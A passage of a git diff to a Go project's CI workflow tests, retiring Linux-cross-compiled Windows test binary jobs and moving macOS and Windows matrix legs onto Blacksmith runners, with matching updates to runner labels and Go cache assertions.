%s", jobName, job.RunsOn, blacksmithMacOSLabel) + // Every PR's macOS leg, forks included, runs on the saver's label. + macOSLegs := 0 + for _, leg := range job.Strategy.Matrix.Include { + if leg.OS != macOSRunner { + continue + } + macOSLegs++ + if got := mustEvalGHRunsOn(t, job.RunsOn, map[string]string{"matrix.runner": leg.Runner, "matrix.os": leg.OS}); got != blacksmithMacOSLabel { + t.Errorf("pr.yml %s macOS leg resolves to %q, want the saver's %q", jobName, got, blacksmithMacOSLabel) + } } - if got := mustEvalGHRunsOn(t, job.RunsOn, sameRepoMacOS); got != blacksmithMacOSLabel { - t.Errorf("pr.yml %s same-repo macOS leg resolves to %q, want the saver's %q", jobName, got, blacksmithMacOSLabel) - } - if got := mustEvalGHRunsOn(t, job.RunsOn, forkMacOS); got != macOSRunner { - t.Errorf("pr.yml %s fork macOS leg resolves to %q, want the saver's github leg %q", jobName, got, macOSRunner) + if macOSLegs != 1 { + t.Errorf("pr.yml %s has %d macOS legs, want 1", jobName, macOSLegs) } if setup := job.step(t, "Set up Go"); setup.With["cache"] != "false" { t.Errorf("pr.yml %s Set up Go cache = %q, want \"false\"", jobName, setup.With["cache"]) diff --git a/scripts/ci_workflow_apt_get_timeout_test.go b/scripts/ci_workflow_apt_get_timeout_test.go index c9e06284b..c4c09efe7 100644 --- a/scripts/ci_workflow_apt_get_timeout_test.go +++ b/scripts/ci_workflow_apt_get_timeout_test.go @@ -59,28 +59,6 @@ func aptStepBudgets() []aptStepBudget { installPkgs: "gcc-mingw-w64-x86-64 gcc-aarch64-linux-gnu osslsigncode", capMinutes: 13, }, - { - workflow: "pr.yml", - job: "windows-test-binaries", - step: "Install mingw cross-compiler", - updateAttempts: 3, - updateTimeout: 120, - backoff: 10, - installTimeout: 300, - installPkgs: "gcc-mingw-w64-x86-64", - capMinutes: 12, - }, - { - workflow: "main.yml", - job: "windows-test-binaries-cache", - step: "Install mingw cross-compiler", - updateAttempts: 3, - updateTimeout: 120, - backoff: 10, - installTimeout: 300, - installPkgs: "gcc-mingw-w64-x86-64", - capMinutes: 12, - }, } } diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index dd4ccd44c..bf8d8d6b9 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -316,7 +316,7 @@ func TestPRWorkflowExercisesNativeUserConfigDiagnostics(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") // The benchmark-environment test owns the shared job and matrix shape. - wantHosts := map[string]string{"ubuntu-latest": "linux", "macos-latest": "darwin", "windows-latest": "windows"} + wantHosts := map[string]string{"macos-latest": "darwin", "windows-latest": "windows"} gotHosts := make(map[string][]string) for _, tuple := range job.Strategy.Matrix.Include { gotHosts[tuple.OS] = append(gotHosts[tuple.OS], tuple.ExpectedGOOS) @@ -356,8 +356,8 @@ func TestPRWorkflowRequiresNativeInitGatewayCredential(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, jobName) - if job.RunsOn != sameRepoPlatformsMatrixMarkerRunsOn || !equalStrings(matrixIncludeHosts(job.Strategy.Matrix.Include), []string{"macos-latest", "ubuntu-latest", "windows-latest"}) { - t.Errorf("credential shell boundary requires the native three-host matrix: runner=%q include=%v", job.RunsOn, job.Strategy.Matrix.Include) + if job.RunsOn != platformsMatrixRunsOn || !equalStrings(matrixIncludeHosts(job.Strategy.Matrix.Include), []string{"macos-latest", "windows-latest"}) { + t.Errorf("credential shell boundary requires the native macOS/Windows matrix: runner=%q include=%v", job.RunsOn, job.Strategy.Matrix.Include) } if job.If != "" || job.ContinueOnError { t.Errorf("credential process job is bypassable: if=%q continue-on-error=%v", job.If, job.ContinueOnError) @@ -458,11 +458,16 @@ func TestPRWorkflowExercisesWindowsBenchmarkEnvScrubbing(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") - if job.RunsOn != sameRepoPlatformsMatrixMarkerRunsOn { - t.Errorf("pr-preflight-platforms runs-on = %q, want the matrix-marker chained ternary", job.RunsOn) + if job.RunsOn != platformsMatrixRunsOn { + t.Errorf("pr-preflight-platforms runs-on = %q, want the per-leg Blacksmith label", job.RunsOn) } - if got := matrixIncludeHosts(job.Strategy.Matrix.Include); !equalStrings(got, []string{"macos-latest", "ubuntu-latest", "windows-latest"}) { - t.Errorf("pr-preflight-platforms matrix os = %v, want required three-host matrix", got) + if got := matrixIncludeHosts(job.Strategy.Matrix.Include); !equalStrings(got, []string{"macos-latest", "windows-latest"}) { + t.Errorf("pr-preflight-platforms matrix os = %v, want the macOS and Windows hosts (Linux runs under Bazel)", got) + } + for _, tuple := range job.Strategy.Matrix.Include { + if tuple.Runner != platformsMatrixRunners[tuple.OS] { + t.Errorf("pr-preflight-platforms %s leg runner = %q, want %q", tuple.OS, tuple.Runner, platformsMatrixRunners[tuple.OS]) + } } if job.If != "" { t.Errorf("pr-preflight-platforms job is conditional: %q", job.If) @@ -589,20 +594,22 @@ func TestPRCIGateRequiresWindowsGlobalPrimeOverride(t *testing.T) { gate := workflow.job(t, "ci-gate") evaluate := gate.step(t, "Evaluate CI gate") env := evaluate.Env - // F4 side-by-side rollout (SF-5): TEST_WINDOWS_LIVENESS is no longer in - // the static CI_GATE_REQUIRED list -- the WINDOWS_PREBUILT_REQUIRED flag - // mechanism (TestWindowsPrebuiltRequiredFlagMechanism, - // scripts/windows_test_binaries_manifest_test.go) adds it dynamically in - // the run script. Since the rollout finished the flag is "true": the - // prebuilt pair is required and the native pair stays wired (advisory) - // for a one-line rollback. Check that wiring here instead of the old - // static list membership. - if !contains(gate.Needs, "test-windows-liveness") || - env["TEST_WINDOWS_LIVENESS"] != "${{ needs.test-windows-liveness.result }}" || - workflow.Env["WINDOWS_PREBUILT_REQUIRED"] != "true" || - !strings.Contains(evaluate.Run, `CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS WORKTREE_REMOVE_WINDOWS"`) || - !strings.Contains(evaluate.Run, `CI_GATE_REQUIRED="$CI_GATE_REQUIRED TEST_WINDOWS_LIVENESS_PREBUILT WORKTREE_REMOVE_WINDOWS_PREBUILT"`) { - t.Fatal("CI gate must keep both Windows pairs wired and require the prebuilt pair (WINDOWS_PREBUILT_REQUIRED=\"true\"); the native pair stays wired for rollback") + // The native pair is the required run of these tests (ga-96smfk.22 + // retired the Linux-cross-compiled "-prebuilt" twins and the + // WINDOWS_PREBUILT_REQUIRED flag): statically in CI_GATE_REQUIRED. + required := strings.Fields(env["CI_GATE_REQUIRED"]) + for job, id := range map[string]string{"test-windows-liveness": "TEST_WINDOWS_LIVENESS", "worktree-remove-windows": "WORKTREE_REMOVE_WINDOWS"} { + if !contains(gate.Needs, job) || env[id] != "${{ needs."+job+".result }}" || !contains(required, id) { + t.Errorf("CI gate must require %s (%s)", job, id) + } + } + for _, retired := range []string{"windows-test-binaries", "test-windows-liveness-prebuilt", "worktree-remove-windows-prebuilt"} { + if _, ok := workflow.Jobs[retired]; ok || contains(gate.Needs, retired) { + t.Errorf("pr.yml has retired job %s", retired) + } + } + if _, ok := workflow.Env["WINDOWS_PREBUILT_REQUIRED"]; ok || strings.Contains(evaluate.Run, "PREBUILT") { + t.Error("pr.yml still carries the retired WINDOWS_PREBUILT_REQUIRED switch") } } @@ -616,8 +623,8 @@ func TestPRCIGateRequiresGeneratedHookTimeoutProcessBoundary(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, jobName) - if job.RunsOn != sameRepoPlatformsMatrixMarkerRunsOn || !equalStrings(matrixIncludeHosts(job.Strategy.Matrix.Include), []string{"macos-latest", "ubuntu-latest", "windows-latest"}) { - t.Errorf("generated-hook process job is not the required three-host matrix: runs-on=%q include=%v", job.RunsOn, job.Strategy.Matrix.Include) + if job.RunsOn != platformsMatrixRunsOn || !equalStrings(matrixIncludeHosts(job.Strategy.Matrix.Include), []string{"macos-latest", "windows-latest"}) { + t.Errorf("generated-hook process job is not the required macOS/Windows matrix: runs-on=%q include=%v", job.RunsOn, job.Strategy.Matrix.Include) } if job.TimeoutMinutes != 20 { t.Errorf("generated-hook process job timeout = %d minutes, want 20", job.TimeoutMinutes) @@ -749,15 +756,15 @@ func TestNightlyRunsNoGoTestOnARunner(t *testing.T) { func TestPRPreflightPlatformsRunsTestScriptPrebuiltBinaryContract(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "pr-preflight-platforms") - if job.RunsOn != sameRepoPlatformsMatrixMarkerRunsOn { - t.Errorf("pr-preflight-platforms runs-on = %q, want the matrix-marker chained ternary", job.RunsOn) + if job.RunsOn != platformsMatrixRunsOn { + t.Errorf("pr-preflight-platforms runs-on = %q, want the per-leg Blacksmith label", job.RunsOn) } if job.If != "" || job.TimeoutMinutes != 20 { t.Errorf("pr-preflight-platforms condition/timeout = %q/%d, want unconditional/20", job.If, job.TimeoutMinutes) } - if got := matrixIncludeHosts(job.Strategy.Matrix.Include); !equalStrings(got, []string{"macos-latest", "ubuntu-latest", "windows-latest"}) { - t.Errorf("pr-preflight-platforms matrix os = %v, want all three hosted platforms", got) + if got := matrixIncludeHosts(job.Strategy.Matrix.Include); !equalStrings(got, []string{"macos-latest", "windows-latest"}) { + t.Errorf("pr-preflight-platforms matrix os = %v, want the macOS and Windows hosts", got) } const stepName = "Exercise test.sh prebuilt binary path" @@ -789,7 +796,7 @@ func TestRepositoryTextEOLPolicyWorkflow(t *testing.T) { workflow := readCIWorkflow(t, "pr.yml") job := workflow.job(t, "check-doc-freshness-platforms") - if want := sameRepoPlatformsMatrixMarkerRunsOn; job.RunsOn != want { + if want := platformsMatrixRunsOn; job.RunsOn != want { t.Errorf("check-doc-freshness-platforms runs-on = %q, want %q", job.RunsOn, want) } // The Linux leg runs in Bazel (TestDocFreshnessLinuxLegRunsInBazel); @@ -798,14 +805,9 @@ func TestRepositoryTextEOLPolicyWorkflow(t *testing.T) { "macos-latest": "darwin", "windows-latest": "windows", } - // F7b: each host's include tuple also carries a "runner" marker - // (same-repo-macos/-windows) that sameRepoPlatformsMatrixMarkerRunsOn - // resolves against; check it matches the host instead of treating it as an - // unexpected field. - wantRunnerMarker := map[string]string{ - "macos-latest": "same-repo-macos", - "windows-latest": "same-repo-windows", - } + // Each host's include tuple names its Blacksmith label in "runner" + // (platformsMatrixRunsOn), for every PR, forks included. + wantRunnerMarker := platformsMatrixRunners if len(job.Strategy.Matrix.OS) != 0 { t.Errorf("check-doc-freshness-platforms retains an unbound os-list matrix: %v", job.Strategy.Matrix.OS) } @@ -827,7 +829,7 @@ func TestRepositoryTextEOLPolicyWorkflow(t *testing.T) { t.Errorf("runner %q expected_goos = %q, want %q", tuple.OS, tuple.ExpectedGOOS, wantGOOS) } if tuple.Runner != wantRunnerMarker[tuple.OS] { - t.Errorf("runner %q matrix runner marker = %q, want %q", tuple.OS, tuple.Runner, wantRunnerMarker[tuple.OS]) + t.Errorf("runner %q matrix runner label = %q, want %q", tuple.OS, tuple.Runner, wantRunnerMarker[tuple.OS]) } if tuple.Coverage || tuple.TestFlags != "" { t.Errorf( @@ -906,11 +908,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["main.yml"].job(t, "test-windows"), []goCacheStep{ mainRestoreModuleCache(), mainRestoreBuildCacheDayBucketedIf("non-race", ""), saveModuleCache(), saveBuildCacheDayBucketed("non-race"), }) - // F4.7: seeds the module and xcompile caches pr.yml's windows-test-binaries - // job only restores (PR workflows never save). - assertGoCacheInventory(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), []goCacheStep{ - mainRestoreModuleCache(), mainRestoreXCompileCache(), saveModuleCacheAfterFailure(), saveXCompileCache(), - }) // macOS saver for pr-preflight-platforms'/check-doc-freshness-platforms' // macOS legs: its blacksmith venue leg seeds the same-repo path (and the // `test` job), its github leg the fork path. @@ -924,15 +921,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheInventory(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), []goCacheStep{ restoreModuleCache(), restoreBuildCache("non-race"), }) - // F4.4 advisory phase: windows-test-binaries cross-compiles on Linux and - // only restores (never saves; main.yml's windows-test-binaries-cache job - // is the saver). Its "-prebuilt" twins (test-windows-liveness-prebuilt, - // worktree-remove-windows-prebuilt) download the resulting artifact and - // run the binaries directly, so they use no Go cache action at all and - // need no entry here or in the managed map below. - assertGoCacheInventory(t, workflows["pr.yml"].job(t, "windows-test-binaries"), []goCacheStep{ - restoreModuleCache(), restoreXCompileCache(), - }) // F7b review (S2): restore-only non-race Go build cache seeded by // main.yml's test-windows Blacksmith leg (warm-non-race-cache.sh) on the // exact same runner selection, targeting this job's own cold cmd/bd test @@ -960,13 +948,11 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertNoUnmanagedGoCacheSteps(t, workflows, map[string]map[string]bool{ "main.yml": { "test": true, "test-windows": true, - "windows-test-binaries-cache": true, "blacksmith-macos-go-build-cache": true, }, "pr.yml": { "worktree-remove-windows": true, "check-doc-freshness-platforms": true, "pr-preflight-platforms": true, "advisory-reports": true, - "windows-test-binaries": true, "test-windows-liveness": true, }, "pr-risk.yml": {}, @@ -982,16 +968,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertStepsBefore(t, mainWindows, []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Build (pure Go regex)"}) assertStepsBefore(t, mainWindows, []string{"Build (pure Go regex)", "Smoke test - version", "Smoke test - help"}, []string{"Save Go module cache", "Save non-race Go build cache"}) - prXCompile := workflows["pr.yml"].job(t, "windows-test-binaries") - assertStepsBefore(t, prXCompile, []string{"Restore Go module cache"}, []string{"Verify Go module checksums", "Build Windows test binaries"}) - assertStepsBefore(t, prXCompile, []string{"Install mingw cross-compiler", "Restore Go build cache (Windows cross-compile)"}, []string{"Build Windows test binaries"}) - assertStepsBefore(t, prXCompile, []string{"Build Windows test binaries"}, []string{"Upload Windows test binaries"}) - - mainXCompileCache := workflows["main.yml"].job(t, "windows-test-binaries-cache") - assertStepsBefore(t, mainXCompileCache, []string{"Restore Go module cache"}, []string{"Install mingw cross-compiler", "Build Windows test binaries"}) - assertStepsBefore(t, mainXCompileCache, []string{"Install mingw cross-compiler", "Restore Go build cache (Windows cross-compile)"}, []string{"Build Windows test binaries"}) - assertStepsBefore(t, mainXCompileCache, []string{"Build Windows test binaries"}, []string{"Save Go module cache", "Save Go build cache (Windows cross-compile)"}) - assertStepsBefore(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), []string{"Restore Go module cache", "Restore non-race Go build cache"}, []string{"Run native Windows worktree removal boundary tests"}) assertStepsBefore(t, workflows["pr.yml"].job(t, "check-doc-freshness-platforms"), @@ -1004,8 +980,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Build", "non-race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test"), "Test", "race") assertGoCacheEnv(t, workflows["main.yml"].job(t, "test-windows"), "Build (pure Go regex)", "non-race") - assertGoCacheEnv(t, workflows["main.yml"].job(t, "windows-test-binaries-cache"), "Build Windows test binaries", xcompileCacheProfile()) - assertGoCacheEnv(t, workflows["pr.yml"].job(t, "windows-test-binaries"), "Build Windows test binaries", xcompileCacheProfile()) assertGoCacheEnv(t, workflows["pr.yml"].job(t, "worktree-remove-windows"), "Run native Windows worktree removal boundary tests", "non-race") for _, workflowName := range []string{"pr.yml", "pr-risk.yml"} { for jobName, job := range workflows[workflowName].Jobs { @@ -1019,18 +993,14 @@ func TestGoCacheOwnershipTopology(t *testing.T) { } assertGoCacheWriter(t, workflows["main.yml"], "test", mainBlacksmithMacOSTestRunsOn, "Save race Go build cache", failureSurvivingCacheSaveCondition(cacheMissCondition(goBuildCacheRestoreID("race")))) - assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) - assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainVenueBlacksmithWindows4vcpuRunsOn, "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) + assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainBlacksmithWindows4vcpuRunsOn, "Save Go module cache", cacheMissCondition(goModuleCacheRestoreID)) + assertGoCacheWriter(t, workflows["main.yml"], "test-windows", mainBlacksmithWindows4vcpuRunsOn, "Save non-race Go build cache", cacheMissCondition(goBuildCacheRestoreID("non-race"))) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) assertGoCacheWriter(t, workflows["main.yml"], "blacksmith-macos-go-build-cache", mainBlacksmithMacOSGoBuildCacheRunsOn, "Save non-race Go build cache", saveBuildCacheAfterFailureIf("non-race", "").ifCondition) - assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go module cache", saveModuleCacheAfterFailure().ifCondition) - assertGoCacheWriter(t, workflows["main.yml"], "windows-test-binaries-cache", mainWindowsTestBinariesCacheRunsOn, "Save Go build cache (Windows cross-compile)", saveXCompileCache().ifCondition) for _, target := range []struct{ workflow, job string }{ {"main.yml", "test"}, {"main.yml", "test-windows"}, - {"main.yml", "windows-test-binaries-cache"}, {"main.yml", "blacksmith-macos-go-build-cache"}, - {"pr.yml", "windows-test-binaries"}, {"pr.yml", "worktree-remove-windows"}, {"pr.yml", "check-doc-freshness-platforms"}, {"pr.yml", "pr-preflight-platforms"}, @@ -1042,34 +1012,6 @@ func TestGoCacheOwnershipTopology(t *testing.T) { } } -// TestMainWindowsTestBinariesCacheSeedsBothRunnerSelections is the regression -// test for F4 review SF-1: main.yml's windows-test-binaries-cache job must -// seed its cache keys from both runner selections pr.yml's windows-test- -// binaries job can land on (Blacksmith for same-repo PRs/merge_group, -// ubuntu-latest for forks/Dependabot), because Blacksmith and GitHub-hosted -// runners cannot see each other's actions/cache entries even for an -// identical key. A single-leg seeder would silently leave one of the two -// consumer paths permanently cold. -func TestMainWindowsTestBinariesCacheSeedsBothRunnerSelections(t *testing.T) { - job := readCIWorkflow(t, "main.yml").job(t, "windows-test-binaries-cache") - - if job.RunsOn != mainWindowsTestBinariesCacheRunsOn { - t.Errorf("windows-test-binaries-cache runs-on = %q, want %q", job.RunsOn, mainWindowsTestBinariesCacheRunsOn) - } - wantRunners := []string{"blacksmith", "github"} - if !equalStrings(job.Strategy.Matrix.Runner, wantRunners) { - t.Errorf("windows-test-binaries-cache strategy.matrix.runner = %v, want %v", job.Strategy.Matrix.Runner, wantRunners) - } - if job.Strategy.FailFast { - t.Error("windows-test-binaries-cache strategy.fail-fast must be false: one runner selection being unavailable must not cancel the other's seed") - } - // Mirrors pr.yml's windows-test-binaries job (pr.yml:522's timeout is 30 - // too): this job runs the same mingw install + cross-compile. - if job.TimeoutMinutes != 30 { - t.Errorf("windows-test-binaries-cache timeout-minutes = %d, want 30", job.TimeoutMinutes) - } -} - func TestServerStorageShardScriptRunsPrebuiltBinaryFromPackageDir(t *testing.T) { // pr4107_corruption_test.go and journal_scope_completeness_test.go use // paths relative to internal/storage/dolt (e.g. ../schema/migrations, @@ -1303,9 +1245,8 @@ func saveModuleCacheIf(condition string) goCacheStep { } // saveModuleCacheAfterFailure is saveModuleCache with a failure-surviving -// condition, for single-runner saver jobs (windows-test-binaries- -// cache) where a flaky mid-build step (e.g. the mingw apt-get install) -// should not prevent the module cache fetched before it from being saved. +// condition, for saver jobs where a flaky mid-build step should not +// prevent the module cache fetched before it from being saved. func saveModuleCacheAfterFailure() goCacheStep { step := saveModuleCache() step.ifCondition = failureSurvivingCacheSaveCondition(cacheMissCondition(goModuleCacheRestoreID)) @@ -1346,40 +1287,6 @@ func saveBuildCacheAfterFailureIf(profile, condition string) goCacheStep { return step } -// The Windows cross-compile GOCACHE (F4.4) is a separate cache dimension from -// goBuildCache*'s base/race/non-race profiles: it is never shared with a -// native build on the runner's own OS, so it gets its own key shape (no -// "-base--" segment) and its own fixed restore/save id, rather than -// reusing goBuildCacheRestoreID's "restore--go-build-cache" pattern. -func xcompileCacheProfile() string { return "xcompile-windows-amd64" } - -func xcompileCachePrefix() string { - return "beads-go-build-" + goCacheSchema + "-${{ runner.os }}-${{ runner.arch }}-go-${{ steps.setup-go.outputs.go-version }}-" + xcompileCacheProfile() + "-" -} - -func xcompileCacheKey() string { return xcompileCachePrefix() + "${{ github.sha }}" } - -func xcompileCachePath() string { return goBuildCachePath(xcompileCacheProfile()) } - -func xcompileCacheRestoreID() string { return "restore-xcompile-go-build-cache" } - -// restoreXCompileCache is the PR-side (restore-only, no id needed since -// pr.yml never saves) shape; mainRestoreXCompileCache is main.yml's -// saver-side shape, which needs the id for its Save step's cache-miss `if`. -func restoreXCompileCache() goCacheStep { - return goCacheStep{name: "Restore Go build cache (Windows cross-compile)", family: cacheRestoreActionFamily, key: xcompileCacheKey(), restoreKeys: xcompileCachePrefix(), path: xcompileCachePath()} -} - -func mainRestoreXCompileCache() goCacheStep { - step := restoreXCompileCache() - step.id = xcompileCacheRestoreID() - return step -} - -func saveXCompileCache() goCacheStep { - return goCacheStep{name: "Save Go build cache (Windows cross-compile)", family: cacheSaveActionFamily, key: xcompileCacheKey(), path: xcompileCachePath(), ifCondition: failureSurvivingCacheSaveCondition(cacheMissCondition(xcompileCacheRestoreID()))} -} - func assertGoCacheInventory(t *testing.T, job ciWorkflowJob, want []goCacheStep) { t.Helper() @@ -2040,33 +1947,16 @@ const wantRBERunsOn = "${{ (github.event_name == 'push' || github.event_name == // that checks them now live in ci_blacksmith_runner_test.go (shared with // F7c; see that file's doc comment for the API F7c rebases onto). -// F4 review SF-1: main.yml's windows-test-binaries-cache job seeds the same -// cache keys/paths from both runner selections pr.yml's windows-test-binaries -// job can land on (sameRepoBlacksmith8vcpu, defined in -// ci_blacksmith_runner_test.go, for same-repo PRs/merge_group; ubuntu-latest -// for forks/Dependabot). Blacksmith runners can't -// see a GitHub-hosted runner's actions/cache entries (and vice versa) even -// though both report the same runner.os/runner.arch, so a single-leg seeder -// only ever warms one of the two consumer paths. matrix.runner (not a -// literal Blacksmith label substituted directly into runs-on) keeps -// actionlint from trying and failing to resolve an undeclared self-hosted -// label: it treats this ternary form as a dynamic value and skips it, same -// as every other Blacksmith runs-on in this repo. -const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && 'blacksmith-8vcpu-ubuntu-2404' || 'ubuntu-latest' }}" - // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that // compile Go). F7a independently defined the same const; both are now served // by the single shared sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. -// F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE -// alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): -// test-windows and blacksmith-macos-go-build-cache. -const mainVenueBlacksmithWindows4vcpuRunsOn = "${{ matrix.venue == 'blacksmith' && 'blacksmith-4vcpu-windows-2025' || 'windows-latest' }}" - -// main.yml's push-to-main-only macOS saver, on the exact labels pr.yml's -// same-repo (blacksmithMacOSLabel) and fork (macOSRunner) macOS legs resolve to. -const mainBlacksmithMacOSGoBuildCacheRunsOn = "${{ matrix.venue == 'blacksmith' && '" + blacksmithMacOSLabel + "' || '" + macOSRunner + "' }}" +// main.yml's push-to-main-only Windows and macOS savers, on the exact labels +// pr.yml's Windows and macOS legs run on (no GitHub-hosted leg is left to +// seed, ga-96smfk.22). +const mainBlacksmithWindows4vcpuRunsOn = blacksmithWindows4vcpuRunsOn +const mainBlacksmithMacOSGoBuildCacheRunsOn = "${{ '" + blacksmithMacOSLabel + "' }}" // main.yml's push-to-main-only macOS test job, on Blacksmith macOS. const mainBlacksmithMacOSTestRunsOn = "${{ '" + blacksmithMacOSLabel + "' }}" @@ -2329,40 +2219,26 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // F7a: cache-free same-repo Linux jobs that restore no GitHub-saved // build cache moved onto same-repo Blacksmith at their measured vCPU // size (module-cache misses on the Blacksmith pool are acceptable - // per spec; jobs that need a Blacksmith-side build-cache saver are - // F7b's scope, not this one). windows-test-binaries is F4's Linux - // mingw cross-compile job, sized at 8vcpu. + // per spec). "pr.yml": { - "ci-gate": sameRepoBlacksmith2vcpu, - "fast-checks": sameRepoBlacksmith2vcpu, - "advisory-reports": sameRepoBlacksmith2vcpu, - "check-doc-flags": sameRepoBlacksmith4vcpu, - "windows-test-binaries": sameRepoBlacksmith8vcpu, - // F7b: same-repo Blacksmith Windows (blacksmith-*vcpu-windows-2025, - // public beta). test-windows-liveness and worktree-remove-windows are - // sized at 4vcpu (a build plus a focused test run each); - // test-windows-small and the two "-prebuilt" twins (which only run an - // already-cross-compiled binary) are sized at 2vcpu; windows-make-shell - // is sized at 4vcpu (installs three separate Make toolchains). See the - // report's risk notes for test-windows-liveness (cgo/mingw on - // windows-2025, unverified) and windows-make-shell (Chocolatey - // preinstalled, unverified). - "test-windows-liveness": sameRepoBlacksmithWindows4vcpu, - "worktree-remove-windows": sameRepoBlacksmithWindows4vcpu, - "test-windows-small": sameRepoBlacksmithWindows2vcpu, - "test-windows-liveness-prebuilt": sameRepoBlacksmithWindows2vcpu, - "worktree-remove-windows-prebuilt": sameRepoBlacksmithWindows2vcpu, - "windows-make-shell": sameRepoBlacksmithWindows4vcpu, - // F7b: mixed-OS matrix jobs using the "matrix marker" chained-ternary - // form (spec §2.1) instead of a flat same-repo ternary - see - // sameRepoPlatformsMatrixMarkerRunsOn's doc comment in - // scripts/ci_blacksmith_runner_test.go. (F7b review fix S1: an - // earlier revision additionally split pr-preflight-platforms' Windows - // leg into two `shard` matrix entries; that split was reverted as not - // measurably helpful, so this single map entry now covers exactly - // three matrix legs, one per OS.) - "check-doc-freshness-platforms": sameRepoPlatformsMatrixMarkerRunsOn, - "pr-preflight-platforms": sameRepoPlatformsMatrixMarkerRunsOn, + "ci-gate": sameRepoBlacksmith2vcpu, + "fast-checks": sameRepoBlacksmith2vcpu, + "advisory-reports": sameRepoBlacksmith2vcpu, + "check-doc-flags": sameRepoBlacksmith4vcpu, + // Windows and macOS: Blacksmith for every PR, forks and Dependabot + // included (ga-96smfk.22). test-windows-liveness and + // worktree-remove-windows are sized at 4vcpu (a build plus a + // focused test run each); test-windows-small at 2vcpu; + // windows-make-shell at 4vcpu (installs three separate Make + // toolchains). + "test-windows-liveness": blacksmithWindows4vcpuRunsOn, + "worktree-remove-windows": blacksmithWindows4vcpuRunsOn, + "test-windows-small": blacksmithWindows2vcpuRunsOn, + "windows-make-shell": blacksmithWindows4vcpuRunsOn, + // Mixed-OS matrix jobs: each leg names its Blacksmith label + // (platformsMatrixRunners, pinned by their own tests). + "check-doc-freshness-platforms": platformsMatrixRunsOn, + "pr-preflight-platforms": platformsMatrixRunsOn, }, "pr-risk.yml": { "ci-gate": sameRepoBlacksmith2vcpu, @@ -2377,17 +2253,15 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // main.yml's push-to-main-only jobs. Tracked here so the "no other // Blacksmith label leaks" sweep below also covers main.yml. "main.yml": { - "windows-test-binaries-cache": mainWindowsTestBinariesCacheRunsOn, // F7b review (B2): these push-to-main-only jobs seed the - // Blacksmith-selection GOCACHEs same-repo PR/merge_group jobs - // above restore from (test-windows's "venue" matrix). + // Blacksmith-selection GOCACHEs the PR jobs above restore from. // Each is additionally guarded by a job-level // github.event_name == 'push' && github.ref == // 'refs/heads/main' && github.repository == 'gastownhall/beads' // if: (TestBlacksmithSaverJobsGuardedAgainstPullRequest below), // matching F7c's own saver convention. - "test-windows": mainVenueBlacksmithWindows4vcpuRunsOn, - // Same guard, seeding pr.yml's same-repo macOS legs. + "test-windows": mainBlacksmithWindows4vcpuRunsOn, + // Same guard, seeding pr.yml's macOS legs. "blacksmith-macos-go-build-cache": mainBlacksmithMacOSGoBuildCacheRunsOn, // The macOS -race -short suite (Linux runs it under Bazel). "test": mainBlacksmithMacOSTestRunsOn, @@ -2423,7 +2297,7 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { } } // No other job in pr.yml or pr-risk.yml may name a Blacksmith label beyond - // the ones enumerated in `want` above (F4 added windows-test-binaries). + // the ones enumerated in `want` above. // Same sweep for the F7c advisory workflows: nothing in them may name a // Blacksmith label beyond the jobs listed in `want` above. for _, file := range []string{ diff --git a/scripts/test.sh b/scripts/test.sh index f9d28934f..6f7962093 100755 --- a/scripts/test.sh +++ b/scripts/test.sh @@ -205,8 +205,7 @@ elif [[ "${BEADS_TEST_SHARED_SERVER:-}" == "1" ]]; then fi # BEADS_TEST_PREBUILT_TEST_BINARY short-circuits straight to a `go test -c` -# binary (typically cross-compiled on a different host; see -# scripts/ci/build-windows-test-binaries.sh and +# binary (for example one cross-compiled on a different host; see # scripts/ci/run-go-test-binary.sh) instead of invoking `go test`. It still # gets test.sh's env isolation (beads_test_env_enter above), the .test-skip # pattern, and the -p/-parallel/-timeout defaults -- only the final diff --git a/scripts/windows_test_binaries_manifest_test.go b/scripts/windows_test_binaries_manifest_test.go deleted file mode 100644 index a8eabf7f3..000000000 --- a/scripts/windows_test_binaries_manifest_test.go +++ /dev/null @@ -1,516 +0,0 @@ -package scripts_test - -import ( - "os" - "os/exec" - "path/filepath" - "regexp" - "runtime" - "strings" - "testing" -) - -// windowsTestBinaryManifestEntry mirrors one non-comment, non-blank line of -// scripts/ci/windows-test-binaries.txt: "name cgo tags 